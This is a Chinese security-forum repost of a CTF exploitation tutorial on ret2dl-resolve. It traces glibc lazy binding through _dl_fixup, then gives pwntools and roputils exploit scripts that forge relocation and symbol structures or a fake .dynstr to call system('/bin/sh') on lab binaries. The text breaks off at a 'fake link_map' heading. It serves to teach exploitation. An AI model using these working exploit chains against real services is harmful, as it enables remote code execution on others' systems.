用户
搜索
  • TA的每日心情

    2017-12-28 15:34
  • 签到天数: 5 天

    连续签到: 1 天

    [LV.2]偶尔看看

    版主

    Rank: 7Rank: 7Rank: 7

    72

    主题

    260

    帖子

    2383

    魔法币
    收听
    0
    粉丝
    98
    注册时间
    2016-6-21

    i春秋认证春秋巡逻i春秋签约作者春秋游侠春秋文阁

    发表于 2018-8-24 12:04:15 11447506

    作者:Tangerine@SAINTSEC

    本系列的最后一篇 感谢各位看客的支持 感谢原作者的付出
    一直以来都有读者向笔者咨询教程系列问题,奈何该系列并非笔者所写[笔者仅为代发]且笔者功底薄弱,故无法解答,望见谅
    如有关于该系列教程的疑问建议联系论坛的原作者ID:Tangerine

    0x00 got表、plt表与延迟绑定

    在之前的章节中,我们无数次提到过got表和plt表这两个结构。这两个表有什么不同?为什么调用函数要经过这两个表?ret2dl-resolve与这些内容又有什么关系呢?本节我们将通过调试和“考古”来回答这些问题。
    我们先选择程序~/XMAN 2016-level3/level3进行实验。这个程序在main函数中和vulnerable_function中都调用了write函数,我们分别在两个call _write和一个call _read上下断点,调试观察发生了什么。
    调试 启动后程序断在第一个call _write

    此时我们按F7跟进函数,发现EIP跳到了.plt表上,从旁边的箭头我们可以看到这个jmp指向了后面的push 18h; jmp loc_8048300

    我们继续F7执行到jmp loc_8048300发生跳转,发现这边又是一个push和一个jmp,这段代码也在.plt上。

    同样的,我们直接执行到jmp执行完,发现程序跳转到了ld_2.24.so上,这个地址是loc_F7F5D010

    到这里,有些人可能已经发现了不对劲。刚刚的指令明明是jmp ds:off_804a008,这个F7F5D010是从哪里冒出来的呢?其实这行jmp的意思并不是跳转到地址0x0804a008执行代码,而是跳转到地址0x0804a008中保存的地址处。同理,一开始的jmp ds:off_804a018也不是跳转到地址0x0804a018.OK,我们来看一下这两个地址里保存了什么。

    回到call _write F7跟进后的那张图,跟进后的第一条指令是jmp ds:off_804a018,这个地址位于.got.plt中。我们看到其保存的内容是loc_8048346,后面还跟着一个DATA XREF:_write↑r. 说明这是一个跟write函数相关的代码引用的这个地址,上面的有一个同样的read也说明了这一点。而jmp ds:0ff_804a008也是跳到了0x0804a008保存的地址loc_F7F5D010处。
    回到刚刚的eip,我们继续F8单步往下走,执行到retn 0Ch,继续往下执行就到了write函数的真正地址


    现在我们可以归纳出call write的执行流程如下图:

    然后我们F9到断在call _read,发现其流程也和上图差不多,唯一的区别在于addr1和push num中的数字不一样,call _read时push的数字是0

    接下来我们让程序执行到第二个call _write,F7跟进后发现jmp ds:0ff_804a018旁边的箭头不再指向下面的push 18h

    我们查看.got.plt,发现其内容已经直接变成了write函数在内存中的真实地址。

    由此我们可以得出一个结论,只有某个库函数第一次被调用时才会经历一系列繁琐的过程,之后的调用会直接跳转到其对应的地址。那么程序为什么要这么设计呢?
    要想回答这个问题,首先我们得从动态链接说起。为了减少存储器浪费,现代操作系统支持动态链接特性。即不是在程序编译的时候就把外部的库函数编译进去,而是在运行时再把包含有对应函数的库加载到内存里。由于内存空间有限,选用函数库的组合无限,显然程序不可能在运行之前就知道自己用到的函数会在哪个地址上。比如说对于libc.so来说,我们要求把它加载到地址0x1000处,A程序只引用了libc.so,从理论上来说这个要求不难办到。但是对于用了liba,so, libb.so, libc.so……liby.so, libz.so的B程序来说,0x1000这个地址可能就被liba.so等库占据了。因此,程序在运行时碰到了外部符号,就需要去找到它们真正的内存地址,这个过程被称为重定位。为了安全,现代操作系统的设计要求代码所在的内存必须是不可修改的,那么诸如call read一类的指令即没办法在编译阶段直接指向read函数所在地址,又没办法在运行时修改成read函数所在地址,怎么保证CPU在运行到这行指令时能正确跳到read函数呢?这就需要got表(Global Offset Table,全局偏移表)和plt表(Procedure Linkage Table,过程链接表)进行辅助了。
    正如我们刚刚分析过的流程,在延迟加载的情况下,每个外部函数的got表都会被初始化成plt表中对应项的地址。当call指令执行时,EIP直接跳转到plt表的一个jmp,这个jmp直接指向对应的got表地址,从这个地址取值。此时这个jmp会跳到保存好的,plt表中对应项的地址,在这里把每个函数重定位过程中唯一的不同点,即一个数字入栈(本例子中write是18h,read是0,对于单个程序来说,这个数字是不变的),然后push got[1]并跳转到got[2]保存的地址。在这个地址中对函数进行了重定位,并且修改got表为真正的函数地址。当第二次调用同一个函数的时候,call仍然使EIP跳转到plt表的同一个jmp,不同的是这回从got表取值取到的是真正的地址,从而避免重复进行重定位。

    0x01 符号解析的过程中发生了什么?

    我们通过调试已经大概搞清楚got表,plt表和重定位的流程了,但是作为一名攻击者来说,只了解这些东西并不够。ret2dl-resolve的核心原理是攻击符号重定位流程,使其解析库中存在的任意函数地址,从而实现got表的劫持。为了完成这一目标,我们就必须得深入符号解析的细节,寻找整个解析流程中的潜在攻击点。我们可以在https://ftp.gnu.org/gnu/glibc/下载到glibc源码,这里我用了glibc-2.27版本的源码。
    我们回到程序跳转到ld_2.24.so的部分,这一段的源码是用汇编实现的,源码路径为glibc/sysdeps/i386/dl-trampoline.S(64位把i386改为x86_64),其主要代码如下:

            .text
                    .globl _dl_runtime_resolve
                    .type _dl_runtime_resolve, @function
                    cfi_startproc
                    .align 16
            _dl_runtime_resolve:
                    cfi_adjust_cfa_offset (8)
                    pushl %eax                # Preserve registers otherwise clobbered.
                    cfi_adjust_cfa_offset (4)
                    pushl %ecx
                    cfi_adjust_cfa_offset (4)
                    pushl %edx
                    cfi_adjust_cfa_offset (4)
                    movl 16(%esp), %edx        # Copy args pushed by PLT in register.  Note
                    movl 12(%esp), %eax        # that `fixup' takes its parameters in regs.
                    call _dl_fixup                # Call resolver.
                    popl %edx                # Get register content back.
                    cfi_adjust_cfa_offset (-4)
                    movl (%esp), %ecx
                    movl %eax, (%esp)        # Store the function address.
                    movl 4(%esp), %eax
                    ret $12                        # Jump to function address.
                    cfi_endproc
                    .size _dl_runtime_resolve, .-_dl_runtime_resolve

    其采用了GNU风格的语法,可读性比较差,我们对应到IDA中的反汇编结果中修正符号如下

    _dl_fixup的实现位于glibc/elf/dl-runtime.c,我们首先来看一下函数的参数列表

    _dl_fixup (
    # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
               ELF_MACHINE_RUNTIME_FIXUP_ARGS,
    # endif
               struct link_map *__unbounded l, ElfW(Word) reloc_arg)

    忽略掉宏定义部分,我们可以看到_dl_fixup接收两个参数,link_map类型的指针l对应了push进去的got[1]reloc_arg对应了push进去的数字。由于link_map *都是一样的,不同的函数差别只在于reloc_arg部分。我们继续追踪reloc_arg这个参数的流向。
    如果你真的阅读了源码,你会发现这个函数里头找不到reloc_arg,那么这个参数是用不着了吗?不是的,我们往上面看,会看到一个宏定义

    #ifndef reloc_offset
    # define reloc_offset reloc_arg
    # define reloc_index  reloc_arg / sizeof (PLTREL)
    #endif
    reloc_offset在函数开头声明变量时出现了。
      const ElfW(Sym) *const symtab
        = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
      const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
    
      const PLTREL *const reloc
        = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
      const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
      const ElfW(Sym) *refsym = sym;
      void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
      lookup_t result;
      DL_FIXUP_VALUE_TYPE value;

    D_PTR是一个宏定义,位于glibc/sysdeps/generic/ldsodefs.h中,用于通过link_map结构体寻址。这几行代码分别是寻找并保存symtab, strtab的首地址和利用参数reloc_offset寻找对应的PLTREL结构体项,然后会利用这个结构体项reloc寻找symtab中的项sym和一个rel_addr.我们先来看看这个结构体的定义。这个结构体定义在glibc/elf/elf.h中,32位下该结构体为

    typedef struct
    {
      Elf32_Addr        r_offset;                /* Address */
      Elf32_Word        r_info;                        /* Relocation type and symbol index */
    } Elf32_Rel;

    这个结构体中有两个成员变量,其中r_offset参与了初始化变量rel_addr,这个变量在_dl_fixup的最后return处作为函数elf_machine_fixup_plt的参数传入,r_offset实际上就是函数对应的got表项地址。另一个参数r_info参与了初始化变量sym和一些校验,而sym和其成员变量会作为参数传递给函数_dl_lookup_symbol_x和宏DL_FIXUP_MAKE_VALUE中,显然我们必须关注一下它。不过首先我们得看一下reloc->r_info参与的其他部分代码。
    首先我们看到这么一行代码

     assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

    这行代码用了一大堆宏,ELFW宏用来拼接字符串,在这里实际上是为了自动兼容32和64位,R_TYPE和前面出现过的R_SYM定义如下:

    #define ELF32_R_SYM(i) ((i)>>8)
    #define ELF32_R_TYPE(i) ((unsigned char)(i))
    #define ELF32_R_INFO(s, t) (((s)<<8) + (unsigned char)(t))
    所以这一行代码取reloc->r_info的最后一个字节,判断是否为ELF_MACHINE_JMP_SLOT,即7.我们继续往下看
          if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
            {
              const ElfW(Half) *vernum =
                (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
              ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
              version = &l->l_versions[ndx];
              if (version->hash == 0)
                version = NULL;
            }

    这段代码使用reloc->r_info最终给version进行了赋值,这里我们可以看出reloc->r_info的高24位异常可能导致ndx数值异常,进而在version = &l->l_versions[ndx]时可能会引起数组越界从而使程序崩溃。
    看完了这一段,我们回头看一下变量sym, sym同样使用了ELFW(R_SYM)(reloc->r_info)作为下标进行赋值。

    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

    Elfw(Sym)会被处理成Elf32_Sym,定义在glibc/elf/elf.h,结构体如下:

    typedef struct
    {
      Elf32_Word        st_name;                /* Symbol name (string tbl index) */
      Elf32_Addr        st_value;                /* Symbol value */
      Elf32_Word        st_size;                /* Symbol size */
      unsigned char        st_info;                /* Symbol type and binding */
      unsigned char        st_other;                /* Symbol visibility */
      Elf32_Section        st_shndx;                /* Section index */
    } Elf32_Sym;

    这里面的成员变量st_other和st_name都被用到了

      if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
        {
          ………………
          result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                                        version, ELF_RTYPE_CLASS_PLT, flags, NULL);
              ………………
    }

    这里省略了部分代码,我们可以从函数名判断出,只有这个if成立,真正进行重定位的函数_dl_lookup_symbol_x才会被执行。ELFW(ST_VISIBILITY)会被解析成宏定义

    define ELF32_ST_VISIBILITY(o)        ((o) & 0x03)

    位于glibc/elf/elf.h,所以我们得知这边的sym->st_other后两位必须为0。
    我们可以看到传入_dl_lookup_symbol_x函数的参数中,第一个参数为strtab+sym->st_name,第三个参数是sym指针的引用。strtab在函数的开头已经赋值为strtab的首地址,查阅资料可知strtab是ELF文件中的一个字符串表,内容包括了.symtab和.debug节的符号表等等。我们根据readelf给出的偏移来看一下这个表。


    可以看到这里面是有read、write、__libc_start_main等函数的名字的。那么函数_dl_lookup_symbol_x为什么要接收这个名字呢?我们进入这个函数,发现这个函数的代码有点多。考虑到我们关心的是重定位过程中不同的reloc_arg是如何影响函数的重定位的,我们在此不分析其细节。

    _dl_lookup_symbol_x (const char *undef_name, struct link_map *undef_map,
                         const ElfW(Sym) **ref,
                         struct r_scope_elem *symbol_scope[],
                         const struct r_found_version *version,
                         int type_class, int flags, struct link_map *skip_map)
    {
      const uint_fast32_t new_hash = dl_new_hash (undef_name);
      unsigned long int old_hash = 0xffffffff;
      struct sym_val current_value = { NULL, NULL };
      .............
    
      /* Search the relevant loaded objects for a definition.  */
      for (size_t start = i; *scope != NULL; start = 0, ++scope)
        {
          int res = do_lookup_x (undef_name, new_hash, &old_hash, *ref,
                                 ¤t_value, *scope, start, version, flags,
                                 skip_map, type_class, undef_map);
          if (res > 0)
            break;
    
          if (__glibc_unlikely (res < 0) && skip_map == NULL)
            {
              /* Oh, oh.  The file named in the relocation entry does not
                 contain the needed symbol.  This code is never reached
                 for unversioned lookups.  */
              assert (version != NULL);
              const char *reference_name = undef_map ? undef_map->l_name : "";
              struct dl_exception exception;
              /* XXX We cannot translate the message.  */
              _dl_exception_create_format
                (&exception, DSO_FILENAME (reference_name),
                 "symbol %s version %s not defined in file %s"
                 " with link time reference%s",
                 undef_name, version->name, version->filename,
                 res == -2 ? " (no version symbols)" : "");
              _dl_signal_cexception (0, &exception, N_("relocation error"));
              _dl_exception_free (&exception);
              *ref = NULL;
              return 0;
            }
        ...............
    }

    我们看到函数名字会被计算hash,这个hash会传递给do_lookup_x,从函数名和下面对分支的注释我们可以看出来do_lookup_x才是真正进行重定位的函数,而且其返回值res大于0说明寻找到了函数的地址。我们继续进入do_lookup_x,发现其主要是使用用strtab + sym->st_name计算出来的参数new_hash进行计算,与strtab + sym->st_name,sym等并没有什么关系。对比do_lookup_x的参数列表和传入的参数,我们可以发现其结果保存在current_value中。

    do_lookup_x:
    static int
    __attribute_noinline__
    do_lookup_x (const char *undef_name, uint_fast32_t new_hash,
                 unsigned long int *old_hash, const ElfW(Sym) *ref,
                 struct sym_val *result, struct r_scope_elem *scope, size_t i,
                 const struct r_found_version *const version, int flags,
                 struct link_map *skip, int type_class, struct link_map *undef_map)
    
    _dl_lookup_symbol_x:
    int res = do_lookup_x (undef_name, new_hash, &old_hash, *ref,
                                 ¤t_value, *scope, start, version, flags,
                                 skip_map, type_class, undef_map);

    至此,我们已经分析完了reloc_arg对函数重定位的影响,我们用下面这张图总结一下整个影响过程:

    我们以write函数为例进行调试分析,write的reloc_arg是0x18

    使用readelf查看程序信息,找到JMPREL在0x080482b0

    事实上该信息存储在.rel.plt节里

    我们找到这块内存,按照结构体格式解析数据,可知r->offset = 0x0804a018 , r->info=407,与readelf显示的.rel.plt数据吻合。


    所以是symtab的第四项,我们可以通过#include<elf.h>导入该结构体后使用sizeof算出Elf32_Sym大小为0x10,通过上面readelf显示的节头信息我们发现symtab并不会映射到内存中,可是重定位是在运行过程中进行的,显然在内存中会有相关数据,这就产生了矛盾。通过查阅资料我们可以得知其实symtab有个子集dymsym,在节头表中显示其位于080481cc

    对照结构体,st_name是0x31,接下来我们去strtab找,同样的,strtab也有个子集dynstr,地址在0804822c.加上0x31后为0804825d

    0x02 32位下的ret2dl-resolve

    通过一系列冗长的源码阅读+调试分析,我们捋了一遍符号重定位的流程,现在我们要站在攻击者的角度看待这个流程了。从上面的分析结果中我们知道其实最终影响解析的是函数的名字,那么如果我们强行把write改成system呢?我们来试一下。

    我们强行修改内存数据,然后继续运行,发现劫持got表成功,此时write表项是system的地址。

    那么我们是不是可以修改dynstr里面的数据呢?通过查看内存属性,我们很不幸地发现.rel.plt. .dynsym .dynstr所在的内存区域都不可写。

    这样一来,我们能够改变的就只有reloc_arg了。基于上面的分析,我们的思路是在内存中伪造Elf32_Rel和Elf32_Sym两个结构体,并手动传递reloc_arg使其指向我们伪造的结构体,让Elf32_Sym.st_name的偏移值指向预先放在内存中的字符串system完成攻击。为了地址可控,我们首先进行栈劫持并跳转到0x0804834B

    为此我们必须在bss段构造一个新的栈,以便栈劫持完成后程序不会崩溃。ROP链如下:

    #!/usr/bin/python
    #coding:utf-8
    
    from pwn import *
    
    context.update(os = 'linux', arch = 'i386')
    
    start_addr = 0x08048350
    read_plt = 0x08048310
    write_plt = 0x08048340
    write_plt_without_push_reloc_arg = 0x0804834b
    leave_ret = 0x08048482
    pop3_ret = 0x08048519
    pop_ebp_ret = 0x0804851b
    new_stack_addr = 0x0804a200                                                        #bss与got表相邻,_dl_fixup中会降低栈后传参,设置离bss首地址远一点防止参数写入非法地址出错
    
    io = remote('172.17.0.2', 10001)
    
    payload = ""
    payload += 'A'*140                                                                        #padding
    payload += p32(read_plt)                                                        #调用read函数往新栈写值,防止leave; retn到新栈后出现ret到地址0上导致出错
    payload += p32(pop3_ret)                                                        #read函数返回后从栈上弹出三个参数
    payload += p32(0)                                                                        #fd = 0
    payload += p32(new_stack_addr)                                                #buf = new_stack_addr
    payload += p32(0x400)                                                                        #size = 0x400
    payload += p32(pop_ebp_ret)                                                        #把新栈顶给ebp,接下来利用leave指令把ebp的值赋给esp
    payload += p32(new_stack_addr)                                
    payload += p32(leave_ret)
    
    io.send(payload)                                                                        #此时程序会停在我们使用payload调用的read函数处等待输入数据
    
    payload = ""
    payload += "AAAA"                                                                        #leave = mov esp, ebp; pop ebp,占位用于pop ebp
    payload += p32(write_plt_without_push_reloc_arg)        #按照我们的测试方案,强制程序对write函数重定位,reloc_arg由我们手动放入栈中
    payload += p32(0x18)                                                                #手动传递write的reloc_arg,调用write
    payload += p32(start_addr)                                                        #函数执行完后返回start
    payload += p32(1)                                                                        #fd = 1
    payload += p32(0x08048000)                                                        #buf = ELF程序加载开头,write会输出ELF
    payload += p32(4)                                                                        #size = 4
    io.send(payload)

    测试结果:

    我们可以看到调用成功了。我们发现其实跳转到write_plt_without_push_reloc_arg上,还是会直接跳转到PLT[0],所以我们可以把这个地址改成PLT[0]的地址。

    接下来我们开始着手在新的栈上伪造两个结构体:

    write_got = 0x0804a018        
    new_stack_addr = 0x0804a500                        #bss与got表相邻,_dl_fixup中会降低栈后传参,设置离bss首地址远一点防止参数写入非法地址出错
    relplt_addr = 0x080482b0                        #.rel.plt的首地址,通过计算首地址和新栈上我们伪造的结构体Elf32_Rel偏移构造reloc_arg
    dymsym_addr = 0x080481cc                        #.dynsym的首地址,通过计算首地址和新栈上我们伪造的Elf32_Sym结构体偏移构造Elf32_Rel.r_info
    dynstr_addr = 0x0804822c                        #.dynstr的首地址,通过计算首地址和新栈上我们伪造的函数名字符串system偏移构造Elf32_Sym.st_name
    
    fake_Elf32_Rel_addr = new_stack_addr + 0x50        #在新栈上选择一块空间放伪造的Elf32_Rel结构体,结构体大小为8字节
    fake_Elf32_Sym_addr = new_stack_addr + 0x5c        #在伪造的Elf32_Rel结构体后面接上伪造的Elf32_Sym结构体,结构体大小为0x10字节
    binsh_addr = new_stack_addr + 0x74                        #把/bin/sh\x00字符串放在最后面
    
    fake_reloc_arg = fake_Elf32_Rel_addr - relplt_addr        #计算伪造的reloc_arg
    
    fake_r_info = ((fake_Elf32_Sym_addr - dymsym_addr)/0x10) << 8 | 0x7 #伪造r_info,偏移要计算成下标,除以Elf32_Sym的大小,最后一字节为0x7
    
    fake_st_name = new_stack_addr + 0x6c - dynstr_addr                #伪造的Elf32_Sym结构体后面接上伪造的函数名字符串system
    
    fake_Elf32_Rel_data = ""
    fake_Elf32_Rel_data += p32(write_got)                                        #r_offset = write_got,以免重定位完毕回填got表的时候出现非法内存访问错误
    fake_Elf32_Rel_data += p32(fake_r_info)
    
    fake_Elf32_Sym_data = ""
    fake_Elf32_Sym_data += p32(fake_st_name)
    fake_Elf32_Sym_data += p32(0)                                                        #后面的数据直接套用write函数的Elf32_Sym结构体,具体成员变量含义自行搜索
    fake_Elf32_Sym_data += p32(0)
    fake_Elf32_Sym_data += p32(0x12)

    我们把新栈的地址向后调整了一点,因为在调试深入到_dl_fixup的时候发现某行指令试图对got表写入,而got表正好就在bss的前面,紧接着bss,为了防止运行出错,我们进行了调整。此外,需要注意的是伪造的两个结构体都要与其首地址保持对齐。完成了结构体伪造之后,我们将这些内容放在新栈中,调试的时候确认整个伪造的链条正确,pwn it!

    0x03 64位下的ret2dl-resolve

    与32位不同,在64位下,虽然_dl_fixup函数的逻辑没有改变,但是许多相关的变量和结构体都有了变化。例如在glibc/sysdeps/x86_64/dl-runtime.c中定义了
    reloc_offset和reloc_index

    #define reloc_offset reloc_arg * sizeof (PLTREL)
    #define reloc_index  reloc_arg
    
    #include <elf/dl-runtime.c>

    我们可以可以推断出reloc_arg已经不像32位中是作为一个偏移值存在,而是作为一个数组下标存在。此外,两个关键的结构体也做出了调整:Elf32_Rel升级为Elf64_Rela, Elf32_Sym升级为Elf64_Sym,这两个结构体的大小均为0x18

    typedef struct
    {
      Elf64_Addr        r_offset;                /* Address */
      Elf64_Xword        r_info;                        /* Relocation type and symbol index */
      Elf64_Sxword        r_addend;                /* Addend */
    } Elf64_Rela;
    
    typedef struct
    {
      Elf64_Word        st_name;                /* Symbol name (string tbl index) */
      unsigned char        st_info;                /* Symbol type and binding */
      unsigned char st_other;                /* Symbol visibility */
      Elf64_Section        st_shndx;                /* Section index */
      Elf64_Addr        st_value;                /* Symbol value */
      Elf64_Xword        st_size;                /* Symbol size */
    } Elf64_Sym;

    此外,_dl_runtime_resolve的实现位于glibc/sysdeps/x86_64/dl-trampoline.h中,其代码加了宏定义之后可读性很差,核心内容仍然是调用_dl_fixup,此处不再分析。
    最后,在64位下进行ret2dl-resolve还有一个问题,即我们在分析源码时提到但是应用中却忽略的一个潜在数组越界:

          if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
            {
              const ElfW(Half) *vernum =
                (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
              ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
              version = &l->l_versions[ndx];
              if (version->hash == 0)
                version = NULL;
            }

    这里会使用reloc->r_info的高位作为下标产生了ndx,然后在link_map的成员数组变量l_versions中取值作为version。为了在伪造的时候正确定位到sym,r_info必然会较大。在32位的情况下,由于程序的映射较为紧凑, reloc->r_info的高24位导致vernum数组越界的情况较少。由于程序映射的原因,vernum数组首地址后面有大片内存都是以0x00填充,攻击导致reloc->r_info的高24位过大后从vernum数组中获取到的ndx有很大概率是0,从而由于ndx异常导致l_versions数组越界的几率也较低。我们可以对照源码,IDA调试进入_dl_fixup后,将断点下在if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)附近。

    中断后切换到汇编

    单步运行到movzx edx, word ptr [edx+esi*2]一行

    观察edx的值,此处为0x0804827c, edx+esi*2 = 0x08048284,查看程序的内存映射情况

    一直到地址0x0804b000都是可读的,所以esi,也就是reloc->r_info的高24位最高可以达到0x16c2,考虑到.dymsym与.bss的间隔,这个允许范围基本够用。继续往下看

    此时的edi = 0xf7fa9918,[edi+170h]保存的值为0Xf7f7eb08,其后连续可读的地址最大值为0xf7faa000,因此mov ecx, [edx+4]一行,按照之前几行汇编代码的算法,只要取出的edx值不大于(0xf7faa000-0xf7f7eb08)/0x10 = 0x2b4f,version = &l->l_versions[ndx];就不会产生非法内存访问。仔细观察会发现0x0804827c~0x0804b000之间几乎所有的2字节word型数据都符合要求。因此,大部分情况下32位的题目很少会产生ret2dl-resolve在此处造成的段错误。
    而对于64位,我们用相同的方法调试本节的例子~/XMAN 2016-level3_64/level3_64会发现由于我们常用的bss段被映射到了0x600000之后,而dynsym的地址仍然在0x400000附近,r_info的高位将会变得很大,再加上此时vernum也在0x400000附近,vernum[ELFW(R_SYM) (reloc->r_info)]将会有很大概率落在在0x400000~0x600000间的不可读区域

    从而产生一个段错误。为了防止出现这个错误,我们需要修改判断流程,使得l->l_info[VERSYMIDX (DT_VERSYM)]为0,从而绕开这块代码。而l->l_info[VERSYMIDX (DT_VERSYM)]在64位中的位置就是link_map+0x1c8(对应的,32位下为link_map+0xe4),所以我们需要泄露link_map地址并将link_map置为0
    64位下的ret2dl-resolve与32位下的ret2dl-resolve除了上述一些变化之外,exp构造流程并没有什么区别,在此处不再赘述,详细脚本可见于附件。
    理论上来说,ret2dl-resolve对于所有存在栈溢出,没有Full RELRO(如果开启了Full RELRO,所有符号将会在运行时被全部解析,也就不存在_dl_fixup了)且有一个已知确定的栈地址(可以通过stack pivot劫持栈到已知地址)的程序都适用。但是我们从上面的64位ret2dl-resolve中可以看到其必须泄露link_map的地址才能完成利用,对于32位程序来说也可能出现同样的问题。如果出现了不存在输出的栈溢出程序,我们就没办法用这种套路了,那我们该怎么办呢?接下来的几节我们将介绍一些不依赖泄露的攻击手段。

    0x04 使用ROPutils简化攻击步骤

    从上面32位和64位的攻击脚本我们不难看出来,虽然构造payload的过程很繁琐,但是实际上大部分代码的格式都是固定的,我们完全可以自己把它们封装成一个函数进行调用。当然,我们还可以当一把懒人,直接用别人写好的库。是的,我说的就是一个有趣的,没有使用说明的项目ROPutils(https://github.com/inaz2/roputils)
    这个python库的作者似乎挺懒的,不仅不写文档,而且代码也好几年没更新了。不过这并不妨碍其便利性。我们直接看代码roputils.py,其大部分我们会用到的东西都在ROP*和FormatStr这几个类中,不过ROPutils也提供了其他的辅助工具类和函数。当然,在本节中我们只会介绍和ret2dl-resolve相关的一些函数的用法,不做源码分析和过多的介绍。
    我们可以直接把roputils.py和自己写的脚本放在同一个文件夹下以使用其中的功能。以~/XMAN 2016-level3/level4为例。其实我们会发现fake dl-resolve并不一定需要进行栈劫持,我们只要确保伪造的link_map所在地址已知,且地址能被作为参数传入_dl_fixup即可。我们先来构造一个栈溢出,调用read读取伪造的link_map到.bss中。

    from roputils import *
    #为了防止命名冲突,这个脚本全部只使用roputils中的代码。如果需要使用pwntools中的代码需要在import roputils前import pwn,以使得roputils中的ROP覆盖掉pwntools中的ROP
    
    rop = ROP('./level4')                        #ROP继承了ELF类,下面的section, got, plt都是调用父类的方法
    bss_addr = rop.section('.bss')
    read_got = rop.got('read')
    read_plt = rop.plt('read')
    
    offset = 140
    
    io = Proc(host = '172.17.0.2', port = 10001)        #roputils中这里需要显式指定参数名
    
    buf = rop.fill(offset)                        #fill用于生成填充数据
    buf += rop.call(read_plt, 0, bss_addr, 0x100)        #call可以通过某个函数的plt地址方便地进行调用
    buf += rop.dl_resolve_call(bss_addr+0x20, bss_addr)        #dl_resolve_call有一个参数base和一个可选参数列表*args。base为伪造的link_map所在地址,*args为要传递给被劫持调用的函数的参数。这里我们将"/bin/sh\x00"放置在bss_addr处,link_map放置在bss_addr+0x20处
    
    io.write(buf)
    
    然后我们直接用dl_resolve_data生成伪造的link_map并发送
    buf = rop.string('/bin/sh')                
    buf += rop.fill(0x20, buf)                #如果fill的第二个参数被指定,相当于将第二个参数命名的字符串填充至指定长度
    buf += rop.dl_resolve_data(bss_addr+0x20, 'system')        #dl_resolve_data的参数也非常简单,第一个参数是伪造的link_map首地址,第二个参数是要伪造的函数名
    buf += rop.fill(0x100, buf)
    
    io.write(buf)

    然后我们直接使用io.interact(0)就可以打开一个shell了。

    关于roputils的用法可以参考其github仓库中的examples,其他练习程序不再提供对应的roputils写法的脚本。

    0x05 在.dynamic节中伪造.dynstr节地址

    在32位的ret2dl-resolve一节中我们已经发现,ELF开发小组为了安全,设置.rel.plt. .dynsym .dynstr三个重定位相关的节区均为不可写。然而ELF文件中有一个.dynamic节,其中保存了动态链接器所需要的基本信息,而我们的.dynstr也属于这些基本信息中的一个。

    更棒的是,如果一个程序没有开启RELRO(即checksec显示No RELRO).dynamic节是可写的。(Partial RELRO和Full RELRO会在程序加载完成时设置.dynamic为不可写,因此尽管readelf显示其为可写也不可相信)


    .dynamic节中只包含Elf32/64_Dyn结构体类型的数据,这两个结构体定义在glibc/elf/elf.h下

    typedef struct
    {
      Elf32_Sword        d_tag;                        /* Dynamic entry type */
      union
        {
          Elf32_Word d_val;                        /* Integer value */
          Elf32_Addr d_ptr;                        /* Address value */
        } d_un;
    } Elf32_Dyn;
    
    typedef struct
    {
      Elf64_Sxword        d_tag;                        /* Dynamic entry type */
      union
        {
          Elf64_Xword d_val;                /* Integer value */
          Elf64_Addr d_ptr;                        /* Address value */
        } d_un;
    } Elf64_Dyn;

    从结构体的定义我们可以看出其由一个d_tag和一个union类型组成,union中的两个变量会随着不同的d_tag进行切换。我们通过readelf看一下.dynstr的d_tag

    其标记为0x05,union变量显示为值0x0804820c。我们看一下内存中.dynamic节中.dynstr对应的Elf32_Dyn结构体和指针指向的数据。


    因此,我们只需要在栈溢出后程序中仍然存在至少一个未执行过的函数,我们就可以修改.dynstr对应结构体中的地址,从而使其指向我们伪造的.dynstr数据,进而在解析的时候解析出我们想要的函数。
    我们以32位的程序为例,打开~/fake_dynstr32/fake_dynstr32


    这个程序满足了我们需要的一切条件——No RELRO,栈溢出发生在vuln中,exit不会被调用,因此我们可以用上述方法进行攻击。首先我们把所有的字符串从里面拿出来,并且把exit替换成system

    call_exit_addr = 0x08048495
    read_plt = 0x08048300
    start_addr = 0x08048350
    dynstr_d_ptr_address = 0x080496a4
    fake_dynstr_address = 0x08049800
    fake_dynstr_data = "\x00libc.so.6\x00_IO_stdin_used\x00system\x00\x00\x00\x00\x00\x00read\x00__libc_start_main\x00__gmon_start__\x00GLIBC_2.0\x00"

    注意由于memset的一部分也会被system覆盖掉,我们应该把剩余的部分设置为\x00,防止后面的符号偏移值错误。memset由于是在read函数运行之前运行的,所以它的符号已经没用了,可以被覆盖掉。
    接下来我们构造ROP链依次写入伪造的dynstr字符串和其保存在Elf32_Dyn中的地址。

    io = remote("172.17.0.2", 10001)
    
    payload = ""
    payload += 'A'*22                                                #padding
    payload += p32(read_plt)                                #修改.dynstr对应的Elf32_Dyn.d_ptr
    payload += p32(start_addr)                                
    payload += p32(0)                                                
    payload += p32(dynstr_d_ptr_address)        
    payload += p32(4)                                                
    io.send(payload)
    sleep(0.5)
    io.send(p32(fake_dynstr_address))                #新的.dynstr地址
    sleep(0.5)
    
    payload = ""
    payload += 'A'*22                                                #padding
    payload += p32(read_plt)                                #在内存中伪造一块.dynstr字符串
    payload += p32(start_addr)                                
    payload += p32(0)                
    payload += p32(fake_dynstr_address)
    payload += p32(len(fake_dynstr_data)+8)        #长度是.dynstr加上8,把"/bin/sh\x00"接在后面
    io.send(payload)
    sleep(0.5)
    io.send(fake_dynstr_data+"/bin/sh\x00")        #把/bin/sh\x00接在后面
    sleep(0.5)

    此时还剩下函数exit未被调用,我们通过前面的步骤伪造了.dynstr,将其中的exit改成了system,因此根据_dl_fixup的原理,此时函数将会解析system的首地址并返回到system上。

    64位下的利用方式与32位下并没有区别,此处不再进行详细分析。

    0x06 fake link_map

